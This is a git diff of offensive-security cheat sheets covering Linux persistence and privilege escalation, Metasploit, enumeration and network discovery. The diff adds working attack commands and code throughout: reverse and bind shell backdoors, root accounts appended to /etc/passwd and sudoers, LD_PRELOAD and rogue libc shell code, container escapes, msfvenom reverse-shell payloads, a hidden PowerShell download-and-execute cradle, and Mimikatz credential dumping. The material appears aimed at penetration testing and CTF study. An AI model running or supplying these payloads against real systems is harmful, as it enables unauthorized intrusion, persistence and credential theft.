id;/bin/bash\" 2>/dev/null" sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart ``` -## Backdooring an user startup file +## Backdooring a user startup file -Linux, write a file in `~/.config/autostart/NOM_OF_FILE.desktop` +Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop` ```powershell In : ~/.config/autostart/*.desktop @@ -79,6 +125,14 @@ Next time "apt-get update" is done, your CMD will be executed! echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor ``` +## Backdooring the SSH + +Add an ssh key into the `~/.ssh` folder. + +1. `ssh-keygen` +2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys` +3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys + ## Tips Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload. diff --git a/Methodology and Resources/Linux - Privilege Escalation.md b/Methodology and Resources/Linux - Privilege Escalation.md index c3209bace5..ace5ec4402 100644 --- a/Methodology and Resources/Linux - Privilege Escalation.md +++ b/Methodology and Resources/Linux - Privilege Escalation.md @@ -2,13 +2,67 @@ ## Tools +- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration) + + ```powershell + wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh + curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh + ./lse.sh -l1 # shows interesting information that should help you to privesc + ./lse.sh -l2 # dump all the information it gathers about the system + ``` + - [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum) + ```powershell ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t ``` + - [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) -- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://gist.github.com/sh1n0b1/e2e1a5f63fbec3706123) +- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker) - [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check) +- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER) + +## Summary + +* [Checklist](#checklists) +* [Looting for passwords](#looting-for-passwords) + * [Files containing passwords](#files-containing-passwords) + * [Old passwords in /etc/security/opasswd](#old-passwords-in--etc-security-opasswd) + * [Last edited files](#last-edited-files) + * [In memory passwords](#in-memory-passwords) + * [Find sensitive files](#find-sensitive-files) +* [Scheduled tasks](#scheduled-tasks) + * [Cron jobs](#cron-jobs) + * [Systemd timers](#systemd-timers) +* [SUID](#suid) + * [Find SUID binaries](#find-suid-binaries) + * [Create a SUID binary](#create-a-suid-binary) +* [Capabilities](#capabilities) + * [List capabilities of binaries](#list-capabilities-of-binaries) + * [Edit capabilities](#edit-capabilities) + * [Interesting capabilities](#interesting-capabilities) +* [SUDO](#sudo) + * [NOPASSWD](#nopasswd) + * [LD_PRELOAD and NOPASSWD](#ld-preload-and-passwd) + * [Doas](#doas) + * [sudo_inject](#sudo-inject) +* [GTFOBins](#gtfobins) +* [Wildcard](#wildcard) +* [Writable files](#writable-files) + * [Writable /etc/passwd](#writable-etcpasswd) + * [Writable /etc/sudoers](#writable-etcsudoers) +* [NFS Root Squashing](#nfs-root-squashing) +* [Shared Library](#shared-library) + * [ldconfig](#ldconfig) + * [RPATH](#rpath) +* [Groups](#groups) + * [Docker](#docker) + * [LXC/LXD](#lxclxd) +* [Kernel Exploits](#kernel-exploits) + * [CVE-2016-5195 (DirtyCow)](#CVE-2016-5195-dirtycow) + * [CVE-2010-3904 (RDS)](#[CVE-2010-3904-rds) + * [CVE-2010-4258 (Full Nelson)](#CVE-2010-4258-full-nelson) + * [CVE-2012-0056 (Mempodipper)](#CVE-2012-0056-mempodipper) ## Checklists @@ -28,16 +82,16 @@ * Extracts password policies and hash storage method information * Checks umask value * Checks if password hashes are stored in /etc/passwd - * Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc + * Extract full details for 'default' uid's such as 0, 1000, 1001 etc * Attempt to read restricted files i.e. /etc/shadow - * List current users history files (i.e .bash_history, .nano_history etc.) + * List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.) * Basic SSH checks * Privileged access: * Which users have recently used sudo * Determine if /etc/sudoers is accessible * Determine if the current user has Sudo access without a password - * Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.) - * Is root’s home directory accessible + * Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.) + * Is root's home directory accessible * List permissions for /home/ * Environmental: * Display current $PATH @@ -69,7 +123,7 @@ * Locate all SUID/GUID files * Locate all world-writable SUID/GUID files * Locate all SUID/GUID files owned by root - * Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc) + * Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc) * Locate files with POSIX capabilities * List all world-writable files * Find/list all accessible *.plan files and display contents @@ -83,8 +137,103 @@ * Checks to see if the host has Docker installed * Checks to determine if we're in an LXC container +## Looting for passwords + +### Files containing passwords + +```powershell +grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null +find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \; +``` + +### Old passwords in /etc/security/opasswd + +The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them. + +:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes +### Last edited files + +Files that were edited in the last 10 minutes + +```powershell +find / -mmin -10 2>/dev/null | grep -Ev "^/proc" +``` + +### In memory passwords + +```powershell +strings /dev/mem -n10 | grep -i PASS +``` + +### Find sensitive files + +```powershell +$ locate password | more +/boot/grub/i386-pc/password.mod +/etc/pam.d/common-password +/etc/pam.d/gdm-password +/etc/pam.d/gdm-password.original +/lib/live/config/0031-root-password +... +``` + +## Scheduled tasks + +### Cron jobs + +Check if you have access with write permission on these files. +Check inside the file, to find other paths with write permissions. + +```powershell +/etc/init.d +/etc/cron* +/etc/crontab +/etc/cron.allow +/etc/cron.d +/etc/cron.deny +/etc/cron.daily +/etc/cron.hourly +/etc/cron.monthly +/etc/cron.weekly +/etc/sudoers +/etc/exports +/etc/anacrontab +/var/spool/cron +/var/spool/cron/crontabs/root + +crontab -l +ls -alh /var/spool/cron; +ls -al /etc/ | grep cron +ls -al /etc/cron* +cat /etc/cron* +cat /etc/at.allow +cat /etc/at.deny +cat /etc/cron.allow +cat /etc/cron.deny* +``` + +You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job. + +```powershell +# print both commands and file system events and scan procfs every 1000 ms (=1sec) +./pspy64 -pf -i 1000 +``` + + +## Systemd timers + +```powershell +systemctl list-timers --all +NEXT LEFT LAST PASSED UNIT ACTIVATES +Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service +Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service +Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service + +3 timers listed. +``` + ## SUID SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`. @@ -99,6 +248,7 @@ SUID/Setuid stands for "set user ID upon execution", it is enabled by default in ```bash find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; +find / -uid 0 -perm -4000 -type f 2>/dev/null ``` ### Create a SUID binary @@ -111,12 +261,13 @@ sudo chmod +s /tmp/suid # setuid bit ``` -## Capabilies +## Capabilities + +### List capabilities of binaries -List capabilities of binaries ```bash -╭─swissky@crashmanjaro ~ -╰─$ getcap -r /usr/bin +╭─swissky@lab ~ +╰─$ /usr/bin/getcap -r /usr/bin /usr/bin/fping = cap_net_raw+ep /usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep @@ -126,12 +277,126 @@ List capabilities of binaries /usr/bin/rcp = cap_net_bind_service+ep ``` -Edit capabilites +### Edit capabilities + +```powershell +/usr/bin/setcap -r /bin/ping # remove +/usr/bin/setcap cap_net_raw+p /bin/ping # add +``` + +### Interesting capabilities + +Having the capability =ep means the binary has all the capabilities. +```powershell +$ getcap openssl /usr/bin/openssl +openssl=ep +``` + +Alternatively the following capabilities can be used in order to upgrade your current privileges. + ```powershell -/sbin/setcap -r /bin/ping # remove -setcap cap_net_raw+p /bin/ping # add +cap_dac_read_search # read anything +cap_setuid+ep # setuid +``` + +Example of privilege escalation with `cap_setuid+ep` + +```powershell +$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7 + +$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' +sh-5.0# id +uid=0(root) gid=1000(swissky) ``` +| Capabilities name | Description | +|---|---| +| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing | +| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log | +| CAP_BLOCK_SUSPEND | This feature can block system suspends | +| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs | +| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks | +| CAP_DAC_READ_SEARCH | This only bypass file and directory read/execute permission checks | +| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file | +| CAP_KILL | Allow the sending of signals to processes belonging to others | +| CAP_SETGID | Allow changing of the GID | +| CAP_SETUID | Allow changing of the UID | +| CAP_SETPCAP | Helps to transferring and removal of current set to any PID | +| CAP_IPC_LOCK | This helps to lock memory | +| CAP_MAC_ADMIN | Allow MAC configuration or state changes | +| CAP_NET_RAW | Use RAW and PACKET sockets | +| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports | + +## SUDO +Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER) + +### NOPASSWD + +Sudo configuration might allow a user to execute some command with another user privileges without knowing the password. + +```bash +$ sudo -l + +User demo may run the following commands on crashlab: + (root) NOPASSWD: /usr/bin/vim +``` + +In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. + +```bash +sudo vim -c '!sh' +sudo -u root vim -c '!sh' +``` + +### LD_PRELOAD and NOPASSWD + +If `LD_PRELOAD` is explicitly defined in the sudoers file + +```powershell +Defaults env_keep += LD_PRELOAD +``` + +Compile the following C code with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles` + +```powershell +#include +#include +#include +void _init() { + unsetenv("LD_PRELOAD"); + setgid(0); + setuid(0); + system("/bin/sh"); +} +``` + +Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=/tmp/shell.so find` + +### Doas + +There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` + +```bash +permit nopass demo as root cmd vim +``` + +### sudo_inject + +Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject) + +```powershell +$ sudo whatever +[sudo] password for user: +# Press +c since you don't have the password. +# This creates an invalid sudo tokens. +$ sh exploit.sh +.... wait 1 seconds +$ sudo -i # no password required :) +# id +uid=0(root) gid=0(root) groups=0(root) +``` + +Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf) ## GTFOBins @@ -139,9 +404,156 @@ setcap cap_net_raw+p /bin/ping # add The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. -> gdb -nx -ex '!sh' -ex quit -> sudo mysql -e '\! /bin/sh' -> strace -o /dev/null /bin/sh +> gdb -nx -ex '!sh' -ex quit +> sudo mysql -e '\! /bin/sh' +> strace -o /dev/null /bin/sh +> sudo awk 'BEGIN {system("/bin/sh")}' + + +## Wildcard + +By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy. + +```powershell +# create file for exploitation +touch -- "--checkpoint=1" +touch -- "--checkpoint-action=exec=sh shell.sh" +echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh + +# vulnerable script +tar cf archive.tar * +``` + +Tool: [wildpwn](https://github.com/localh0t/wildpwn) + +## Writable files + +List world writable files on the system. + +```powershell +find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null +find / -perm -2 -type f 2>/dev/null +find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null +``` + +### Writable /etc/passwd + +First generate a password with one of the following commands. + +```powershell +openssl passwd -1 -salt hacker hacker +mkpasswd -m SHA-512 hacker +python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' +``` + +Then add the user `hacker` and add the generated password. + +```powershell +hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash +``` + +E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` + +You can now use the `su` command with `hacker:hacker` + +Alternatively you can use the following lines to add a dummy user without a password. +WARNING: you might degrade the current security of the machine. + +```powershell +echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd +su - dummy +``` + +NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. + +### Writable /etc/sudoers + +```powershell +echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers + +# use SUDO without password +echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers +echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers +``` + +## NFS Root Squashing + +When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it + +```powershell +# create dir +mkdir /tmp/nfsdir + +# mount directory +mount -t nfs 10.10.10.10:/shared /tmp/nfsdir +cd /tmp/nfsdir + +# copy wanted shell +cp /bin/bash . + +# set suid permission +chmod +s bash +``` + +## Shared Library + +### ldconfig + +Identify shared libraries with `ldd` + +```powershell +$ ldd /opt/binary + linux-vdso.so.1 (0x00007ffe961cd000) + vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000) + /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000) +``` + +Create a library in `/tmp` and activate the path. + +```powershell +gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c +echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so +/opt/binary +``` + +### RPATH + +```powershell +level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" + 0x00000001 (NEEDED) Shared library: [libc.so.6] + 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] + +level15@nebula:/home/flag15$ ldd ./flag15 + linux-gate.so.1 => (0x0068c000) + libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) + /lib/ld-linux.so.2 (0x005bb000) +``` + +By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. + +```powershell +level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ + +level15@nebula:/home/flag15$ ldd ./flag15 + linux-gate.so.1 => (0x005b0000) + libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) + /lib/ld-linux.so.2 (0x00737000) +``` + +Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` + +```powershell +#include +#define SHELL "/bin/sh" + +int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) +{ + char *file = SHELL; + char *argv[] = {SHELL,0}; + setresuid(geteuid(),geteuid(), geteuid()); + execve(file,argv,0); +} +``` ## Groups @@ -154,7 +566,127 @@ $> docker run -it --rm -v $PWD:/mnt bash $> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd ``` +Almost similar but you will also see all processes running on the host and be connected to the same NICs. + +```powershell +docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash +``` + +Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell + +```powershell +$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease +latest: Pulling from chrisfosterelli/rootplease +2de59b831a23: Pull complete +354c3661655e: Pull complete +91930878a2d7: Pull complete +a3ed95caeb02: Pull complete +489b110c54dc: Pull complete +Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0 +Status: Downloaded newer image for chrisfosterelli/rootplease:latest + +You should now have a root shell on the host OS +Press Ctrl-D to exit the docker instance / shell + +sh-5.0# id +uid=0(root) gid=0(root) groups=0(root) +``` + +More docker privilege escalation using the Docker Socket. + +```powershell +sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash +sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh +``` + +### LXC/LXD + +The privesc requires to run a container with elevated privileges and mount the host filesystem inside. + +```powershell +╭─swissky@lab ~ +╰─$ id +uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel) +``` + +Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. + +```powershell +# build a simple alpine image +git clone https://github.com/saghul/lxd-alpine-builder +./build-alpine -a i686 + +# import the image +lxc image import ./alpine.tar.gz --alias myimage + +# run the image +lxc init myimage mycontainer -c security.privileged=true + +# mount the /root into the image +lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true + +# interact with the container +lxc start mycontainer +lxc exec mycontainer /bin/sh +``` + +Alternatively https://github.com/initstring/lxd_root + +## Kernel Exploits + +Precompiled exploits can be found inside these repositories, run them at your own risk ! +* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits) +* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/) + +The following exploits are known to work well, search for another exploits using `searchsploit -w linux kernel centos`. + +### CVE-2016-5195 (DirtyCow) + +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 + +```powershell +# make dirtycow stable +echo 0 > /proc/sys/vm/dirty_writeback_centisecs +g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil +https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs +https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c +``` + +### CVE-2010-3904 (RDS) + +Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8 + +```powershell +https://www.exploit-db.com/exploits/15285/ +``` + +### CVE-2010-4258 (Full Nelson) + +Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) + +```powershell +https://www.exploit-db.com/exploits/15704/ +``` + +### CVE-2012-0056 (Mempodipper) + +Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) + +```powershell +https://www.exploit-db.com/exploits/18411 +``` + ## References -- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/) \ No newline at end of file +- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/) +- [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html) +- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/) +- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/) +- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/) +- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt) +- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/) +- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html) +- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/) +- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject) +* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html) diff --git a/Methodology and Resources/Metasploit - Cheatsheet.md b/Methodology and Resources/Metasploit - Cheatsheet.md index 5313267723..3fb5bad829 100644 --- a/Methodology and Resources/Metasploit - Cheatsheet.md +++ b/Methodology and Resources/Metasploit - Cheatsheet.md @@ -1,5 +1,26 @@ # Metasploit +## Summary + +* [Installation](#installation) +* [Sessions](#sessions) +* [Background handler](#background-handler) +* [Meterpreter - Basic](#meterpreter---basic) + * [Generate a meterpreter](#generate-a-meterpreter) + * [Meterpreter Webdelivery](#meterpreter-webdelivery) + * [Get System](#get-system) + * [Persistence Startup](#persistence-startup) + * [Network Monitoring](#network-monitoring) + * [Portforward](#portforward) + * [Upload / Download](#upload---download) + * [Execute from Memory](#execute-from-memory) + * [Mimikatz](#mimikatz) + * [Pass the Hash - PSExec](#pass-the-hash---psexec) +* [Scripting Metasploit](#scripting-metasploit) +* [Multiple transports](#multiple-transports) +* [Best of - Exploits](#best-of---exploits) +* [References](#references) + ## Installation ```powershell @@ -25,7 +46,7 @@ sessions -c cmd -> Execute a command on several sessions sessions -i 10-20 -c "id" -> Execute a command on several sessions ``` -## Multi/handler in background (screen/tmux) +## Background handler ExitOnSession : the handler will not exit if the meterpreter dies. @@ -38,14 +59,49 @@ set PAYLOAD generic/shell_reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 set ExitOnSession false -exploit -j + +generate -o /tmp/meterpreter.exe -f exe +to_handler [ctrl+a] + [d] ``` ## Meterpreter - Basic -### SYSTEM / Administrator privilege +### Generate a meterpreter + +```powershell +$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf +$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe +$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho +$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php +$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp +$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp +$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war +$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py +$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh +$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl +``` + +### Meterpreter Webdelivery + +Set up a Powershell web delivery listening on port 8080. + +```powershell +use exploit/multi/script/web_delivery +set TARGET 2 +set payload windows/x64/meterpreter/reverse_http +set LHOST 10.0.0.1 +set LPORT 4444 +run +``` + +```powershell +powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB'); +``` + + +### Get System ```powershell meterpreter > getsystem @@ -75,6 +131,16 @@ OPTIONS: meterpreter > run persistence -U -p 4242 ``` +### Network Monitoring + +```powershell +# list interfaces +run packetrecorder -li + +# record interface n°1 +run packetrecorder -i 1 +``` + ### Portforward ```powershell @@ -100,11 +166,14 @@ execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w load mimikatz mimikatz_command -f version mimikatz_command -f samdump::hashes +mimikatz_command -f sekurlsa::wdigest mimikatz_command -f sekurlsa::searchPasswords +mimikatz_command -f sekurlsa::logonPasswords full ``` ```powershell load kiwi +creds_all golden_ticket_create -d -k -s -u -t ``` @@ -135,7 +204,7 @@ exploit -j -z use exploit/multi/fileformat/office_word_macro set PAYLOAD windows/meterpreter/reverse_https -set LHOST 159.65.52.124 +set LHOST 10.10.14.22 set LPORT 4646 exploit ``` @@ -161,3 +230,4 @@ Add-WebTransport -Url http(s)://:/ -RetryWait 10 -RetryTotal 3 ## References * [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/) +* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331) \ No newline at end of file diff --git a/Methodology and Resources/Methodology_and_enumeration.md b/Methodology and Resources/Methodology and enumeration.md similarity index 95% rename from Methodology and Resources/Methodology_and_enumeration.md rename to Methodology and Resources/Methodology and enumeration.md index 675c08c3b9..8270db14d2 100644 --- a/Methodology and Resources/Methodology_and_enumeration.md +++ b/Methodology and Resources/Methodology and enumeration.md @@ -8,6 +8,7 @@ * The Harvester * [Active Recon](#active-recon) + * Masscan * Nmap * Nmap Script * RPCClient @@ -47,6 +48,13 @@ ## Active recon +* Masscan + +```powershell +masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out +masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000 +``` + * Basic NMAP ```bash @@ -168,6 +176,18 @@ index: 0x8 Account: root Name: root Desc: (null) ``` +* Zone Transfer + + ```powershell + host -t ns domain.local + domain.local name server master.domain.local. + + host master.domain.local + master.domain.local has address 192.168.1.1 + + dig axfr domain.local @192.168.1.1 + ``` + ## List all the subdirectories and files * Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. diff --git a/Methodology and Resources/Network Discovery.md b/Methodology and Resources/Network Discovery.md index cd53bae67b..bf050ed0bd 100644 --- a/Methodology and Resources/Network Discovery.md +++ b/Methodology and Resources/Network Discovery.md @@ -1,38 +1,15 @@ # Network Discovery -## Netdiscover - -```powershell -netdiscover -i eth0 -r 192.168.1.0/24 -Currently scanning: Finished! | Screen View: Unique Hosts +## Summary -20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876 -_____________________________________________________________________________ -IP At MAC Address Count Len MAC Vendor / Hostname ------------------------------------------------------------------------------ -192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom -192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor -192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc. -192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD -``` - -## Responder - -```powershell -responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding. -responder.py -I eth0 -wrf -``` - -Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows) - -## Bettercap - -```powershell -bettercap -X --proxy --proxy-https -T -# better cap in spoofing, discovery, sniffer -# intercepting http and https requests, -# targetting specific IP only -``` +- [Nmap](#nmap) +- [Spyse](#spyse) +- [Masscan](#masscan) +- [Netdiscover](#netdiscover) +- [Responder](#responder) +- [Bettercap](#bettercap) +- [Reconnoitre](#reconnoitre) +- [References](#references) ## Nmap @@ -121,6 +98,56 @@ Host script results: List Nmap scripts : ls /usr/share/nmap/scripts/ ``` +## Spyse +* Spyse API - for detailed info is better to check [Spyse](https://spyse.com/) + +* [Spyse Wrapper](https://github.com/zeropwn/spyse.py) + +#### Searching for subdomains +```bash +spyse -target xbox.com --subdomains +``` + +#### Reverse IP Lookup +```bash +spyse -target 52.14.144.171 --domains-on-ip +``` + +#### Searching for SSL certificates +```bash +spyse -target hotmail.com --ssl-certificates +``` +```bash +spyse -target "org: Microsoft" --ssl-certificates +``` +#### Getting all DNS records +```bash +spyse -target xbox.com --dns-all +``` + +## Masscan + +```powershell +masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out +masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000 + +# find machines on the network +sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp +cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst + +# find open ports for one machine +sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst + + +# TCP grab banners and services informations 